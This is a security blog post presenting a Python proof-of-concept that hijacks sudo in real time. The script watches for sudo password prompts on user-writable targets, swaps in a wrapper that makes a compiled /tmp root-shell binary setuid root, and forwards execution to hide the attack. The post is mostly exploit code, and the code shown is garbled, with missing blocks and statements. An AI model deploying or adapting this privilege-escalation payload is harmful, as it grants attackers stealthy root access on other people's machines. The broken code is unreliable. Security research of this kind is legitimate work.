hijacking sudo in real time

15 Aug 2018 22:03 | macOS | security

A while ago I posted about how sudo can be easily backdoored by dropping a fake
sudo script into the user's PATH:


Another attack vector for sudo is monitoring the process list for invocations of
sudo where the user is being prompted for their sudo password and the target
script/binary is user-writable. If a rogue process can determine this scenario
they have a narrow window in which the target script/binary can be replaced with
something else in order to steal root privileges.

The proof of concept below demonstrates how this can be done, and includes a
simple shell wrapper that forwards the sudo execution on to a copy of the
original script so the user likely won't notice anything.

#!/usr/bin/env python2.7
# sudo hijack PoC by m4rkw
# test on macos and linux
# run this in one terminal window, then open another and execute something with
# sudo that you have write access to.
# in the time it takes you to enter your sudo password, sudo_steal.py will hijack
# the target in order to steal a root shell, and then pass the execution chain
# on to a copy of the script so the user running sudo won't know anything is amis.

import os
import sys
import time

# we can only hijack sudo if the target command/script is writable

def is_writable(path):
    with open(path,'a+') as f:
    return True

  return False

# most user-owned stuff executed with sudo will be at a relative path so we
# need to recursively search for it as quickly as possible.
# we only have the time it takes the user to enter their password to find
# the target and hijack it, so this needs to be as fast as possible. this
# should be quick enough on most mac or linux systems, but if you have a
# bunch of directories with lots of files it may be too slow.

def fast_find_file(filename):
  matches = []

  h = os.environ['HOME']

  home_path = "%s/%s" % (h, filename)

  if os.path.exists(home_path) and is_writable(home_path):

  dirs = []

  for x in os.popen("ls -a1 %s" % (h)).read().rstrip().split("\n"):
    if os.path.isdir("%s/%s" % (h, x)) and not os.path.islink("%s/%s" % (h, x)):
      if x not in [
          '.', '..',
          'VirtualBox VMs',
        dirs.append("%s/%s" % (h, x))

  cmd = "find %s -type f -name %s 2>/dev/null" % (" ".join(dirs), filename)

  for x in os.popen(cmd).read().rstrip().split("\n"):
    if os.path.exists(x) and is_writable(x):

  if len(matches) == 0:
    return False

  return matches

# generate a temporary filename to move the hijacked script to

def get_target(match):
  target = match + 'x'

  while os.path.exists(target):
    target += 'x'

  return target

# check if the process is still alive

def alive(pid):
  return os.system("ps %s 1>/dev/null" % (pid)) == 0

# we have a list of paths that may be the target, so hijack and redirect
# them all

def exploit(pid, matches):
  remap = {}
  remapped = []

  for match in matches:
    remap[match] = get_target(match)

    print "hijacking %s..." % (match)

      # move the target out of the way and drop in a bash redirect script
      # that sets 0:0 and +s on our rootshell payload
      os.rename(match, remap[match])
      with open(match,'w') as f:
        f.write("chown 0:0 /tmp/.,\n")
        f.write("chmod 4755 /tmp/.,\n")
        f.write("%s $@\n" % (remap[match]))
      os.chmod(match, 0755)

  if len(remapped) == 0:
    print "hijack failed."

  success = False
  while True:
    if os.stat("/tmp/.,").st_uid == 0:
      success = True

    if not alive(pid):


  # move the hijacked files back into place
  for match in remapped:
    os.rename(remap[match], match)

  if success:

  print "exploit failed."

# simple rootshell payload

with open("/tmp/.,.c","w") as f:
  f.write("#include <unistd.h>\n")
  f.write("int main(){setuid(0);seteuid(0);execl(\"/bin/bash\",")
  f.write("\"bash\",\"-c\",\"rm -f /tmp/.,; /bin/bash\",NULL);")
  f.write("return 0;}\n")

os.system("gcc -o /tmp/., /tmp/.,.c; rm -f /tmp/.,.c")

# continuously scan for hijackable processes

while True:
  ps_lines = os.popen("ps -a -o pid= -o ppid= -o command= |xargs -L1").read().rstrip().split("\n")

  children = {}

  # build a map of children so we can avoid trying to hijack sudo
  # processes that have children (i.e. already authenticated)

  for line in ps_lines:
    seg = line.split(' ')
    pid = seg[0]
    ppid = seg[1]

    if not ppid in children.keys():
      children[ppid] = []


  # look for invocations of sudo that have prompted the user for their password
  # and where the target binary/script is user-writable

  for line in ps_lines:
    seg = line.split(' ')

    if seg[2] == 'sudo':
      print "potential target: %s" % (line)

      pid = seg[0]

      # if sudo has child processes then it's already authenticated
      if pid in children.keys():
        print "%s has children, skipping" % (pid)

      args = seg[3:]

      while True:
        matches = fast_find_file(" ".join(args))

        if matches:

        args = args[0:len(args)-1]

        if len(args) == 0:

      if matches:
        exploit(pid, matches)